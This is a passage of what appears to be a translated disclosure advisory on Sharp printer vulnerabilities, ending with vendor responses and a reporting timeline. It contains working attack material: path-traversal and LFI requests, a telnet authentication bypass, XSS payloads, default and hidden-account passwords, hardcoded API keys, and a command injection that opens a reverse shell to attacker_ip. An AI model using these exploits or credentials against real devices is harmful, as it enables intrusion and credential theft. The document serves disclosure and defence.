-rw-r--r-- 1 root root 315 May 15 14:11 ERR_nf.log
-rw-r--r-- 1 root root 21262 May 15 14:11 ERR_pdl.log
sh-4.3#

这些文件是全局可读的,并包含有效的coredump文件,如下所示:

kali% file core-main.log
core-main.log: ELF 32-bit LSB core file, ARM, version 1 (SYSV), SVR4-style, from '/tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk', real uid: 0, effective uid: 0, real gid: 0, effective

core文件包含明文:

  • 会话ID;
  • 所有用户的密码(即使是在打印机启动且没有用户登录打印机时(!));
  • 电子邮件;
  • 加密密钥。

例如,一些密钥:

kali% strings core-main.log|grep -A 4 -B 4 ENCRYPT_KEY
CloudPollingConst
VENDOR_KEY
YiqUwHIymoiuwFPjja04u+Q+zeokggNSuYv4g+axNAIx4vwnnrPmfsFrAsqZr4RFeR6EgwWRvzgledwTz9MZAw==
TENANT_ENCRYPT_KEY
GMuQt[已编辑]

core文件包含管理员用户(即使自打印机启动以来管理员用户尚未登录打印机)的密码(PASS-PIERRE):

kali% zcat core-main.log.gz.001 | strings | grep PASS-PIERRE
PASS-PIERRE

所有明文密码都可以在core文件中找到:

kali% zcat core-main.log.gz.001 | strings | less
/mnt/std01/ACCBURS/
/mnt/std04/ACC/BROWSER/BROWSER_NONUSR
/mnt/std01/ACC/AccBackUp/BROWSER_NONUSR
/mnt/std01/ACC/AccUserInfo
/mnt/std04/ACC
/mnt/std01/ACC/AccUserInfo2
/mnt/std04/ACC/BROWSER
/mnt/std01/ACC/AccGrpPrmtInfo
/mnt/std01/ACCBURS
/mnt/std01/ACC/AccFlashUserCounter
/mnt/std01/ACC/AccFlashBackUp
/mnt/std01/ACC/AccTotalPix
/mnt/std01/ACC/AccBackUp/JobInfo
Other User
Other
Vender
Vender
Administrator
admin
PASS-PIERRE <------------------- clear-text password for admin
Service
service
service
User
users
users
Vender2
Vender2
FSS User
servicefss
servicefss
System Operator
sysadmin
sysadmin
Device Account
deviceaccount
deviceaccount
/mnt/std01/ACC/AccGrpHomeInfo
/mnt/std01/ACC/AccBackUp
/mnt/std01/ACC
/mnt/std01/ACC/AccUserPixel
/mnt/std01/ACC/BROWSER
/mnt/std01/ACC/AccGrpCstmInfo

/mnt/log分区没有加密:

sh-4.3# df -h /mnt/log
文件系统 大小 已用 可用 使用率 挂载点
/dev/mmcblk0p3 791M 145M 589M 20% /mnt/log
sh-4.3#

打印机刚启动且没有用户登录后,可以在core文件中找到所有密码:这是不正常的,表明认证机制被错误地实现。

本地攻击者可以提取所有密码。

使用额外漏洞(例如本地文件包含)的远程攻击者可以恢复所有密码并危及打印机(见下一个漏洞)。

详情 – 无需认证的任意目录列表

观察到夏普打印机容易受到无需认证的任意目录列表攻击。任何攻击者都可以列出打印机中任何目录的内容并恢复任何文件。

通过访问/installed_emanual_list.html无需认证,可以列出手册索引文件:

夏普打印机漏洞分析
图片解析失败

通过更改地址中的文件夹参数,可以浏览打印机的整个文件系统。

installed_emanual_list.html?folder=../../../的请求将列出/文件系统:

夏普打印机漏洞分析
图片解析失败

位于/etc的文件:

夏普打印机漏洞分析
图片解析失败

使用漏洞[本地文件包含允许读取任何文件(例如Coredump文件)],然后可以下载任何文件。

攻击者可以浏览打印机的文件系统并下载任何文件。

远程攻击者可以通过下载coredump文件恢复所有密码并危及打印机。

详情 – 允许读取任何文件(例如Coredump文件)的本地文件包含无需认证

观察到夏普打印机容易受到无需认证的本地文件包含攻击。任何攻击者都可以读取打印机中任何文件。

正常请求检索手册索引文件:

夏普打印机漏洞分析
图片解析失败

默认情况下,手册索引文件位于打印机中的/mnt/std_data/manual:

sh-4.3# pwd
/mnt/std_data/manual
sh-4.3# ls -la MX-M4071_inch_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M4071_inch_web.idx
sh-4.3# ls -la
总计 233
drwxrwxr-x 4 1000 pulse 2536 Jul 31 2020 .
drwxr-xr-x 9 root root 4096 Mar 1 2022 ..
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_ab_web.idx
-rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_aus_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_canada_web.idx
-rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M2651_europe_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_inch_web.idx
-rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M2651_uk_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M2651_usa_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_ab_web.idx
-rw-rw-r-- 1 1000 pulse 562 Jul 30 2020 MX-M3051_aus_web.idx
-rw-rw-r-- 1 1000 pulse 1564 Jul 30 2020 MX-M3051_canada_web.idx
-rw-rw-r-- 1 1000 pulse 9590 Jul 30 2020 MX-M3051_europe_web.idx

正常请求是:

GET /installed_emanual_down.html?path=/manual/MX-M4071_inch_web.idx  HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

path= 参数可以被操纵以检索打印机中的任何文件。这个漏洞不需要认证,因此也不需要会话cookie:

例如,检索/etc/passwd

GET /installed_emanual_down.html?path=/manual/../../../etc/passwd  HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

可以利用这个漏洞,结合以下漏洞,生成coredump文件,下载它并提取凭证,从而在没有凭证的情况下远程危及打印机:

  • [无效(0x000000d0)指针解引用 – 无需认证的远程DoS] 或者
  • [主程序中内存损坏 – 无需认证的针对web服务器的远程代码执行] 以及
  • [全局可读的coredump文件和不安全的凭证存储]

在打印机上生成coredump文件

使用HTTP请求:

kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
* Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
> GET /system.html HTTP/1.1
> Host: 10.0.0.1
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
>

本地文件包含(LFI)获取coredump文件

我们使用本地文件包含(LFI)下载coredump文件:

kali% curl -i -s -k -X $'GET' 
-H $'Host: 10.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'
$'http://10.0.0.1/installed_emanual_down.html?path=/manual/../../../mnt/log/core-main.log.gz.001' > core-main.log.gz.001
kali% ls -la
total 16920
drwx------ 2 user user 4096 May 15 10:13 .
drwx------ 6 user user 4096 May 15 10:13 ..
-rw------- 1 user user 17316455 May 15 10:13 core-main.log.gz.001
kali% head -n 9 core-main.log.gz.001
HTTP/1.1 200 OK
Server: Rapid Logic/1.1
MIME-version: 1.0
Date: Thu Jan 1 00:02:12 1970 GMT
Content-Type: application/octet-stream; name=core-main.log.gz.001
Content-disposition: attachment; filename=core-main.log.gz.001
Content-Length: 17316180
Connection: close

我们从core文件中移除前9行(对应HTTP头)以生成有效的gzip文件:

kali% vi core-main.log.gz.001
kali% file core-main.log.gz.001
core-main.log.gz.001: gzip compressed data, last modified: Mon May 15 14:09:45 2023, from Unix, original size modulo 2^32 176379936 gzip compressed data, reserved method, ASCII, has CRC, has comment, encrypted, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 176379936
kali%

使用coredump文件检索凭证

core文件即使在管理员用户自打印机启动以来未登录打印机的情况下,也包含管理员用户的密码(PASS-PIERRE):

所有密码都可以在core文件中找到,位于admin字符串附近:

kali% zcat core-main.log.gz.001 | strings | less
/mnt/std01/ACCBURS/
/mnt/std04/ACC/BROWSER/BROWSER_NONUSR
/mnt/std01/ACC/AccBackUp/BROWSER_NONUSR
/mnt/std01/ACC/AccUserInfo
/mnt/std04/ACC
/mnt/std01/ACC/AccUserInfo2
/mnt/std04/ACC/BROWSER
/mnt/std01/ACC/AccGrpPrmtInfo
/mnt/std01/ACCBURS
/mnt/std01/ACC/AccFlashUserCounter
/mnt/std01/ACC/AccFlashBackUp
/mnt/std01/ACC/AccTotalPix
/mnt/std01/ACC/AccBackUp/JobInfo
Other User
Other
Vender
Vender
Administrator
admin
PASS-PIERRE <--------------------- 管理员的明文密码
Service
service
service
User
users
users
Vender2
Vender2
FSS User
servicefss
servicefss
System Operator
sysadmin
sysadmin
Device Account
deviceaccount
deviceaccount
/mnt/std01/ACC/AccGrpHomeInfo
/mnt/std01/ACC/AccBackUp
/mnt/std01/ACC
/mnt/std01/ACC/AccUserPixel
/mnt/std01/ACC/BROWSER
/mnt/std01/ACC/AccGrpCstmInfo

使用配置文件检索凭证

包含凭证的配置文件可以在/mnt/std04/DBMS/uaccnt中找到。

当密码更新时,/mnt/std04/DBMS/uaccnt/*中的文件将被更新。可以从此文件中检索一些凭证:

sh-4.3# pwd 
/mnt/std04/DBMS/uaccnt
sh-4.3# hexdump -C 9.01
00000000 ff ff ff bf ff ff ff ff ff ff ff ff ff ff ff ff |................|
00000010 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
[...]
00005010 61 64 6d 69 6e 02 00 00 00 00 d0 00 00 64 65 76 |admin........dev|
00005020 69 63 65 61 63 63 6f 75 6e 74 09 00 00 00 00 50 |iceaccount.....P|
00005030 00 00 4f 74 68 65 72 01 00 00 00 00 70 00 00 73 |..Other.....p..s|
00005040 65 72 76 69 63 65 04 00 00 00 07 30 00 00 66 73 |ervice.....0..fs|
00005050 73 07 00 00 00 01 70 00 00 79 73 61 64 6d 69 6e |s.....p..ysadmin|
00005060 08 00 00 00 00 50 00 00 75 73 65 72 73 05 00 00 |.....P..users...|
00005070 00 00 60 00 00 56 65 6e 64 65 72 03 00 00 00 06 |..`..Vender.....|
00005080 10 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00 |...2............|
00005090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
[...]
sh-4.3#

攻击者可以下载这些文件并分析它们以检索密码。

详情 – 后门网页 – 无需认证列出会话cookie

观察到夏普打印机容易受到无需认证列出会话cookie的攻击。任何攻击者都可以通过访问一个后门网页列出有效的cookies,并使用它们来认证打印机。

可以通过访问无需认证的/sessionlist.html网页列出MFPSESSIONID会话cookies:

夏普打印机漏洞分析
解析失败的图片

也可以从另一台机器使用curl:

kali% curl -kv http://10.0.0.1/sessionlist.html 
[...]
<h2>Session list</h2>
<table class="matrix">
<tr>
<th>No.</th>
<th>User</th>
<th>From</th>
<th>Last login</th>
<th>Last access</th>
<th>Language ID</th>
<th>Cookie</th>
</tr>
<tr>
<td>0000</td>
<td>Administrator</td>
<td>10.0.0.10</td>
<td>2023/05/16(Tue) 13:35:38</td>
<td>2023/05/16(Tue) 13:35:38</td>
<td>02</td>
<td>MFPSESSIONID=0200736B459709ABA789505BF27D765756D39B82B7ADE25E302820230516133538428B5C9D</td>
</tr>
</table>
[...]

攻击者可以检索有效的会话cookies并危及打印机。

注意,受害者用户必须在此次攻击之前登录过打印机,才能检索到相应的会话cookies。

详情 – 无需认证即可访问的配置网页

观察到在夏普打印机上,一些需要认证的网页可以无需认证访问。任何攻击者都可以在无需认证的情况下修改这些网页上的参数。

以下是一些应该需要认证但实际上无需认证即可访问的网页列表:

  • /address_smime_install.html
  • /send_fax_fcode_entry.html
  • /send_fax_fcode_entry_relay.html
  • /send_fax_fcode.html
  • /send_inbound_address_entry.html
  • /send_inbound_entry.html
  • /send_inbound.html
  • /send_receive_fw.html
  • /printer_ps.html

例如,/printer_ps.html

夏普打印机漏洞分析
解析失败的图片

攻击者可以在无需认证的情况下修改打印机的参数。

供应商确认这是预期的行为。

详情 – 无需认证重启 – 远程DoS

观察到在夏普打印机上,有一个特定的网页可以无需认证访问。任何攻击者都可以使用这个网页来重启打印机。

可以通过访问无需认证的/sys_trayentryreboot.html来重启打印机。

当确认Reboot Now操作时,打印机将重启:

夏普打印机漏洞分析
解析失败的图片

然后打印机将重启,并且在几分钟内无法访问:

PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
^C
--- 10.0.0.1 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4083ms

攻击者可以通过不断重启打印机来使其服务拒绝(DoS)。

详情 – 后门访问 – 服务

夏普打印机配置了默认凭证。一些账户是隐藏的,可以被攻击者滥用以危及打印机。

在分析打印机的配置时,发现Web界面上有多个可见的账户:

  • Administrator(uid 3)
  • System Administrator(uid 8,作为System Operator
  • User(uid 5)
  • Device Account(uid 9)
  • Other User(uid 1)

经过逆向工程,获得了默认密码:

  • System Administrator:sysadmin
  • User:users
  • Device Account:deviceaccount
  • Other User:Other

服务账户(对应uid 4)没有出现在用户列表中,没有文档记录,并允许攻击者更改打印机的配置和更新固件映像。服务账户的密码是service

可以找到几个对应此服务用户的网页:

  • /devicecloning_pp.html
  • /devicecloning.html
  • /service_ura_status_page.html
  • /service_testpage_ok.html
  • /service_testpage.html
  • /service_syslog_view.html
  • /service_syslog_settings_storage.html
  • /service_syslog_settings_server.html
  • /service_syslog_setting.html
  • /service_syslog_select.html
  • /service_syslog_save.html
  • /service_syslog_download.html
  • /service_softsw.html
  • /service_reboot.html
  • /serfildata_savepc.html
  • /service_account.html
  • /service_admin.html
  • /service_device_cloning.html
  • /service_filingdata.html
  • /service_testpage.html
  • /service_firm.html
  • /service_font_down.html
  • /service_joblog.html
  • /service_joblog_list.html
  • /service_joblog_download.html
  • /service_joblog_select.html
  • /service_joblog_list_download.html
  • /service_machineid.html
  • /service_password.html
  • /sys_paperproperty.html
  • /sys_paperproperty_entry.html

用户列表:

夏普打印机漏洞分析
解析失败的图片

通过访问网页 http://[ip]/account_user_entry.html?userid=-4 可以发现服务账户,但无法编辑信息:

夏普打印机漏洞分析
解析失败的图片

service账户可用于更改打印机的配置。默认网页是 http://[ip]/service_testpage.html ,提供了许多隐藏功能的访问:

  • 设备克隆
  • 更新固件映像以插入恶意固件映像
  • 导出设置
  • 日志服务器的配置(禁用日志、删除日志等)

设备克隆:

夏普打印机漏洞分析
解析失败的图片

固件更新:

夏普打印机漏洞分析
解析失败的图片

攻击者可以使用这个额外的后门账户来危及打印机。

夏普打印机配置了默认凭证,一些账户是隐藏的,可以被攻击者滥用以危及打印机。

在分析打印机的配置时,发现Web界面上有多个可见的账户:

  • Administrator(uid 3)
  • System Administrator(uid 8,作为System Operator
  • User(uid 5)
  • Device Account(uid 9)
  • Other User(uid 1)

经过逆向工程,获得了默认密码:

  • System Administrator:sysadmin
  • User:users
  • Device Account:deviceaccount
  • Other User:Other

FSS用户账户(对应uid 7)没有出现在用户列表中,没有文档记录,并允许攻击者更改打印机的配置和更新固件映像。

FSS用户的密码是servicefss

FSS用户也具有管理员权限。

可以找到几个对应此服务用户的网页:

  • /fss_default.html
  • /fss.html
  • /fss_password.html
  • /fss_account.html
  • /fss_backup_export.html
  • /fss_backup.html
  • /fss_backup_reboot.html

通过访问网页 http://[ip]/account_user_entry.html?userid=-7 可以发现服务账户,但无法编辑信息:

夏普打印机漏洞分析
解析失败的图片

FSS用户账户可用于更改打印机的配置。默认网页是 http://[ip]/fss.html ,提供了访问与支持相关的隐藏功能以及一个盲SSRF漏洞:

夏普打印机漏洞分析
解析失败的图片

打印机的重启:

夏普打印机漏洞分析
解析失败的图片

攻击者可以使用这个额外的后门账户来危及打印机。

夏普打印机配置了默认且不安全的凭证。

通过对夏普固件镜像中main二进制文件进行逆向工程,我们可以提取以下账户的密码列表:

  • Administrator / admin
  • Other User / Other
  • Device Account / deviceaccount
  • FSS User / servicefss
  • Service / service
  • User / users
  • System Operator / sysadmin

分析main时列出的用户名:

夏普打印机漏洞分析
解析失败的图片

可以通过使用管理员用户从Web界面检索用户列表:

  • Other User – http://[ip]/account_user_entry.html?userid=-1
  • Vender – http://[ip]/account_user_entry.html?userid=-2
  • Administrator – http://[ip]/account_user_entry.html?userid=-3
  • Service – http://[ip]/account_user_entry.html?userid=-4
  • User – http://[ip]/account_user_entry.html?userid=-5
  • Vender2 – http://[ip]/account_user_entry.html?userid=-6
  • FSS User – http://[ip]/account_user_entry.html?userid=-7, 具有管理员权限
  • System Operator – http://[ip]/account_user_entry.html?userid=-8
  • Device Account – http://[ip]/account_user_entry.html?userid=-9, 具有管理员权限

攻击者可以使用这些默认账户来危及打印机。

供应商确认这是预期的行为。

详情 – 在telnet上读取管理员访问权限

可以通过指定无效用户来绕过任何夏普打印机(运行任何固件版本)的telnet服务器的认证。

这种认证绕过为攻击者提供了打印机的完整读取管理员访问权限。

如果没有管理员用户的相应密码,访问将被拒绝:

kali% telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.
Copyright(C) 2005- SHARP CORPORATION
Copyright(C) 2005- silex technology, Inc.
login: admin
'admin' user needs password to login.
password:
Login incorrect.
Connection closed by foreign host.
kali%

通过发送无效的用户名(例如adminAAAAAAAAAAAAAAAA[...]),可以绕过认证并获得具有管理员权限的读取访问权限:

(此处原文提供了一个绕过认证的示例,但由于链接解析失败,无法提供具体示例内容。如果用户需要进一步信息或示例,建议用户检查链接或提供更多上下文。)

kali% telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
SHARP MX-M365N Ver 01.06.00.0h.19 TELNET server.
Copyright(C) 2005- SHARP CORPORATION
Copyright(C) 2005- silex technology, Inc.
login: adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
User 'adminAAA' logged in.

No. Item Value (level.1)
----------------------------------------------------------------------
1 : Configure General
2 : Configure TCP/IP
3 : Configure NetWare
4 : Configure AppleTalk
5 : Configure NetBIOS
6 : Configure AP I/F
7 : Configure Gateway
97 : Display Status
98 : Reset Settings to Defaults
99 : Exit
Please select(1 - 99)? 1

No. Item Value (level.2)
----------------------------------------------------------------------
1 : Print status page after bootup : NO
2 : SSL Mode : ALL
3 : Rendezvous Enable : ENABLE
4 : Rendezvous Name : "MX-M365N"
5 : SMBC Enable : ENABLE
6 : 802.1X auth
7 : Frame Size : 1514
8 : SMB Authentication Flags : 15
99 : Back to prior menu
Please select(1 - 99)? 99

No. Item Value (level.1)
----------------------------------------------------------------------
1 : Configure General
2 : Configure TCP/IP
3 : Configure NetWare
4 : Configure AppleTalk
5 : Configure NetBIOS
6 : Configure AP I/F
7 : Configure Gateway
97 : Display Status
98 : Reset Settings to Defaults
99 : Exit

Please select(1 - 99)?

详情 – /login.html页面上的XSS

/login.html网页上存在2个反射型XSS漏洞。

发送到/login.html的HTTP请求,查询字符串包含有效负载<XSS>";alert('XSS');"

第一个XSS出现在第32行的响应中:

夏普打印机漏洞分析
解析失败的图片

第二个XSS出现在第183行的响应中:

夏普打印机漏洞分析
解析失败的图片

详情 – 所有其他HTML页面上的XSS

所有HTML网页上存在3个反射型XSS漏洞。

攻击者可以向任何HTML网页发送HTTP请求,查询字符串包含";alert(1);<XSS>来触发:

  • 2个基于JavaScript的XSS
  • 1个基于HTML的XSS

发送到/main.html的HTTP请求,查询字符串包含有效负载";alert(1);<XSS>

第一个XSS出现在第32行的响应中:

夏普打印机漏洞分析
解析失败的图片

第二个XSS出现在第87行的响应中:

夏普打印机漏洞分析
解析失败的图片

第三个XSS出现在第221行的响应中:

夏普打印机漏洞分析
解析失败的图片

根据测试,所有HTML网页都容易受到这3个XSS的攻击。

详情 – 通过降低安全性来泄露LDAP凭证

夏普打印机可以配置为与LDAP服务器建立连接,并使用凭证。

虽然LDAP密码在Web界面上不显示,但拥有管理员密码的攻击者可以通过将认证类型降级为SIMPLE来检索密码,这将允许与恶意服务器进行明文通信。

使用Connect Test,攻击者可以将认证的安全性降级为SIMPLE,并通过指定恶意OpenLDAP服务器以明文检索密码:

LDAP配置 – http://10.0.0.1/nw_ldap_entry.html?ldapid=0:

夏普打印机漏洞分析
解析失败的图片

使用恶意OpenLDAP服务器接收连接,密码将显示在日志中:

kali# /usr/sbin/slapd -d 10 -f /etc/ldap/slapd.conf  -h "ldap:/// ldaps:///" 
...
6458d562.356bfc9e 0x7fe727bff6c0 daemon: read active on 14
6458d562.356ce70e 0x7fe727bff6c0 daemon: epoll: listen=7 active_threads=0 tvp=zero
...
6458d562.3565fb50 0x7fe727bff6c0 daemon: epoll: listen=8 active_threads=0 tvp=zero
...
6458d562.357033a1 0x7fe7273fe6c0 0010: 64 6f 6d 61 69 6e 2e 6c 61 2e 2e 50 41 53 53 57 domain.la..PASSW
6458d562.35704d44 0x7fe7273fe6c0 0020: 4f 52 44 2d 49 4e 2d 43 4c 45 41 52 ORD-IN-CLEAR
...

也可以使用Wireshark来显示密码。

详情 – 硬编码的Google API密钥

打印机的main程序中包含了私有API密钥。

可以检索到在main程序中特定的googlecontent.com域名:

夏普打印机漏洞分析
解析失败的图片

main程序中定义的sub_2146D54()函数进行逆向工程,将揭示一些硬编码的密钥:

夏普打印机漏洞分析
解析失败的图片
夏普打印机漏洞分析
解析失败的图片

二进制文件中列出的域名有:

  • 265490466885-m5cjvglv9q8aak493cgepe7juvafgh8c.apps.googleusercontent.com
  • 347970444986-0pij6u2tfhb240edjmls3h1u8qm2v2b3.apps.googleusercontent.com
  • 410988772526-6ujegl6jvquh9kstiegva8fk5j2ogag9.apps.googleusercontent.com
  • 292646726735-033ggn9hmlrs8bntrj0fbstob9m8qt26.apps.googleusercontent.com

这些域名似乎不再被使用,并且对任何用户都是免费的。攻击者可以使用它们来接收来自打印机的流量。

详情 – 硬编码的Amazon API密钥

打印机的main程序中包含了私有API密钥。

可以检索到在main程序中特定的amazonaws.com地址:

  • https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics

通过交叉引用这个地址,发现程序中硬编码了一些私有API密钥,如下所示:

  • Postman私有密钥:44688039-5104-39be-f974-c1f5ef621a5f
  • API-KEY: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA

main程序中定义的sub_20D542C函数进行逆向工程:

夏普打印机漏洞分析
解析失败的图片
夏普打印机漏洞分析
解析失败的图片

我们可以看到curl使用-k选项(即--insecure),因此任何无效的SSL证书都将被接受:

sub_20D542C()的伪代码是:

int __fastcall sub_20D542C(const char *a1, const char *a2)
{
...
if ( sub_6A0DA0(606420, 0) )
{
// ...
j_snprintf(
v9,
0x800u,
"/usr/bin/curl -k -o %s -U %s:%s -x %s:%d -X POST -d @"%s" -H "x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA" -H "Cache-Control: no-cache" -H "Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f" -L "%s"",
a2,
v6,
v7,
v4,
v11,
a1,
"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
// ...
}
else
{
// ...
j_snprintf(
v9,
0x800u,
"/usr/bin/curl -k -o %s -X POST -d @"%s" -H "x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA" -H "Cache-Control: no-cache" -H "Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f" -L "%s"",
a2,
a1,
"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");
// ...
}
// ...
}

详情 – CVE-2022-45796 – RCE

由于CVE-2022-45796的PoC没有公开,经过身份验证的管理员用户可以访问 http://ip/nw_interface.html 并使用IPv6 IP字段来利用命令注入:

夏普打印机漏洞分析
解析失败的图片

使用Burp,攻击者可以拦截结果请求,并在易受攻击的ggt_textbox(16)字段中注入命令,例如,ggt_textbox%2816%29=%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2Fattacker_ip%2F443+0%3E%261 对应于有效负载|bash -i /dev/tcp/attacker_ip/443 0>&1

攻击者将从打印机接收到root shell,并完全获得管理员访问权限,允许对打印机进行后门植入以保持持续性:

kali% nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.10] from (UNKNOWN) [10.0.0.1] 58196
bash: cannot set terminal process group (619): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3# uname -ap
Linux SC58C36B 4.1.46-rt52 #2 SMP PREEMPT RT Fri Apr 26 12:29:16 JST 2019 aarch64 GNU/Linux
bash-4.3# ps -auxww | grep ping
root 5022 0.0 0.0 1916 368 ? S 09:34 0:00 grep ping
root 28966 0.0 0.0 2876 1940 ? S 09:33 0:00 sh -c ping6 -c 1 -W 2 |bash -i >& /dev/tcp/10.0.0.10/443 0>&1
bash-4.3#
init-+-aarch64-fsl-lin
|-access_audit_mg
|-bcr_iface
|-blackscreen_mon
|-check_hash_daem
|-cmd_proc
|-cpu_state
|-dbus-daemon
|-dout_daemon---14*[{dout_daemon}]
|-dummy_init
|-getty
|-intsrt
|-linter
|-mgrcpuif_r1b---2*[{mgrcpuif_r1b}]
|-mgrcpuif_r1c---2*[{mgrcpuif_r1c}]
|-nfcproc---7*[{nfcproc}]
|-ocrsrv---21*[{ocrsrv}]
|-oom_watch
|-poff_reboot
|-pulseaudio---{null-sink}
|-rc---S998linuxApp-+-IFS---20*[{IFS}]
| |-main-+-preview---48*[{preview}]
| | |-sxlinklocald
| | `-514*[{main}]
| |-netp---netp---sh---bash---pstree
| |-pdl---43*[{pdl}]
| |-reus_lcd_mgr---{reus_lcd_mgr}
| |-rtc_manager---{rtc_manager}
| |-2*[seriallink---6*[{seriallink}]]
| |-sound_play-+-14*[{sound_play}]
| | `-{threaded-ml}
| |-startx---xinit-+-X
| | `-sh-+-NX---7*[{NX}]
| | |-ui_mainview---12*[{ui_mainview}]
| | `-ui_subview---7*[{ui_subview}]
| |-usbch_mgr
| |-vmstat
| |-watch_proc
| `-wlctlproc---6*[{wlctlproc}]
|-2*[rotate]
|-rsyslogd-+-{in:imklog}
| |-{in:immark}
| |-{in:imuxsock}
| `-{rs:main Q:Reg}
|-system_reset---6*[{system_reset}]
`-udevd---2*[udevd]
bash-4.3#

供应商回应

JPCERT提供了一份安全公告。

夏普公司提供了一份安全公告。

东芝公司提供了一份安全公告。

报告时间线

  • 2023年5月:对夏普多功能打印机进行安全评估。
  • 2023年6月1日:向JPCERT(夏普的安全联系人)发送了完整报告。
  • 2023年6月6日:JPCERT确认收到安全评估,并询问更多关于安全联系人的信息。
  • 2023年6月7日:向JPCERT提供了安全联系人的信息。
  • 2023年6月7日:JPCERT确认收到安全联系人。
  • 2023年7月17日:向JPCERT发送问题,询问夏普的任何反馈。
  • 2023年7月18日:JPCERT确认他们一周前与夏普会面。夏普完成了调查,并正在准备列出所有问题的文件。
  • 2023年7月25日:JPCERT提供了夏普评论的Excel文件。
  • 2023年7月26日:确认收到文件。
  • 2023年7月28日:在Excel文件中向JPCERT发送评论,要求重新评估一些问题。
  • 2023年8月1日:收到JPCERT关于一些问题的回应。
  • 2023年8月1日:向JPCERT提供了有关如果问题未修补可能披露漏洞的额外信息。我建议与夏普和JPCERT举行三方会议以审查问题。
  • 2023年8月2日:JPCERT建议通过优先处理问题及时获得安全补丁。
